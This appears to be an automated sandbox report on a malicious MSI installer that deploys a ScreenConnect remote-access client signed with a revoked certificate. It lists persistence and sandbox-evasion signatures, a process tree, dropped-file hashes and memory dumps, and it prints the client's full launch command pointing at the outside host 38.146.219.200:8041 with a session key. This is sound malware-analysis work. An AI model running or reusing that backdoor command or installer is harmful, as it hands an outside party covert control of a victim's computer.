Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/09/2026, 12:30

General

  • Target
    38-146-219-200.msi
  • Size 12.9MB
  • Sample260908-ppmlgszgnc
  • SHA256 758f479a8b141a1eaec3ec5a61bf9787233b9d446096d995400c54ac4c01e165
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\38-146-219-200.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4300
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 33111D87368AC3D33D042B5C7819D823 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1776
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240699828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:832
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1552
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A0B97FD10C253BE86B3980AA9C0DC0F8
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4852
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D8DA801C9377CD06B378AAADD6E5991A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:932
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4756
    • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=38.146.219.200&p=8041&s=178a9f3c-9e1c-47e1-b2fb-ecd5b910acf0&k=BgIAAACkAABSU0ExAAgAAAEAAQDtAaN9KRgnWspkAkfwByOGT5PwpVfazW0Wq%2b4KkT8vBLWZ5afbVOHspwVMATTmKnLjc9O%2b80lr3WC75udmdRk2tbmq%2fOLRAvy3UWznTt9j7Lg9OIG8NvdKze0KNVFCJ8KFZGduGg%2bJfJHklpC6bWgB7pz4xZfUtfCwHbsWPMMEsUeqbcuSgmkEBNwd%2bbe3xmk7NQKquHeEdF9iOeSh3ppixtgqQ60mfsIEK3LiZ0M0gmPrqelBy3OCo1pgu3J9ugLN%2fOedLrehQnvrAV3jOwkUdZoDAmy5XHkf4m5%2bBqvvICf4e09SXuXGM8vV9NklXfbOUC4kjWombDfkgXHdF3PT"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2200
      • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe" "RunRole" "fda94f4e-590e-46fe-8b0a-fb01a022d011" "User"
        2⤵
        • Executes dropped EXE
        PID:3468
      • C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe" "RunRole" "556d071b-14fc-4560-bd79-d82a60d7dea3" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1480

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e591813.rbs

          • Path C:\Config.Msi\e591813.rbs
          • Size 214KB
          • SHA256 aa94e94fc9b45d087d13ac41482a8f33ae50deb922e7c2939bb6b2d471088d8f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (f3d4bc169e9f78ac)\system.config
          • Size 934B
          • SHA256 ca88f76f81bb3a0da9b266897eeb8b42353189043c255a8b670811fcbdc959f5
          • MD5 SHA1 SHA512 TLSH

          MSIC89A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIC89A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI1A36.tmp

          • Path C:\Windows\Installer\MSI1A36.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e591812.msi

          • Path C:\Windows\Installer\e591812.msi
          • Size 12.9MB
          • SHA256 758f479a8b141a1eaec3ec5a61bf9787233b9d446096d995400c54ac4c01e165
          • MD5 SHA1 SHA512 SSDEEP TLSH

          d4bvskqi.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f3d4bc169e9f78ac)\d4bvskqi.newcfg
          • Size 563B
          • SHA256 4521eb2ad95a5ac816c2d258fbf02c6b50d3ebdc4883eb1a8402697247a29a7a
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f3d4bc169e9f78ac)\user.config
          • Size 563B
          • SHA256 b5884d115318b28ec100bc0fae7d1a5330201585eab557d4b1e0c1cb175123b7
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 4746eb924b33bc83179ae602991f25d8a0ac3dcfcef9e252d9b2bd51b23abadd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {4544a2a5-8c35-48b5-af2d-34674c7c00e7}_OnDiskSnapshotProp

          • Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{4544a2a5-8c35-48b5-af2d-34674c7c00e7}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 3715c894347787292eb594f6f2086ecebc58efa38b4aa99e214f44ef8bdd4521
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/832-31-0x0000000005440000-0x00000000059E4000-memory.dmp

          memory/832-22-0x0000000002650000-0x000000000265A000-memory.dmp

          memory/832-26-0x0000000004AA0000-0x0000000004B2C000-memory.dmp

          memory/832-18-0x0000000002610000-0x000000000263E000-memory.dmp

          memory/832-30-0x0000000004CE0000-0x0000000004E8C000-memory.dmp

          memory/2200-96-0x0000000003D70000-0x0000000003E45000-memory.dmp

          memory/2200-94-0x00000000038E0000-0x0000000003921000-memory.dmp

          memory/2200-92-0x0000000003B90000-0x0000000003C22000-memory.dmp

          memory/2200-91-0x00000000038A0000-0x00000000038D6000-memory.dmp

          memory/2200-87-0x0000000003850000-0x00000000038A0000-memory.dmp

          memory/2200-76-0x00000000035E0000-0x00000000035F8000-memory.dmp

          memory/3468-113-0x0000000000780000-0x0000000000818000-memory.dmp

          memory/3468-118-0x00000000011A0000-0x00000000011D6000-memory.dmp

          memory/3468-120-0x000000001B6B0000-0x000000001B73C000-memory.dmp

          memory/3468-121-0x000000001B8F0000-0x000000001BA9C000-memory.dmp

          memory/3468-122-0x000000001CB50000-0x000000001CCD6000-memory.dmp

          memory/3468-124-0x0000000002820000-0x0000000002838000-memory.dmp

          memory/3468-123-0x0000000000FD0000-0x0000000000FE8000-memory.dmp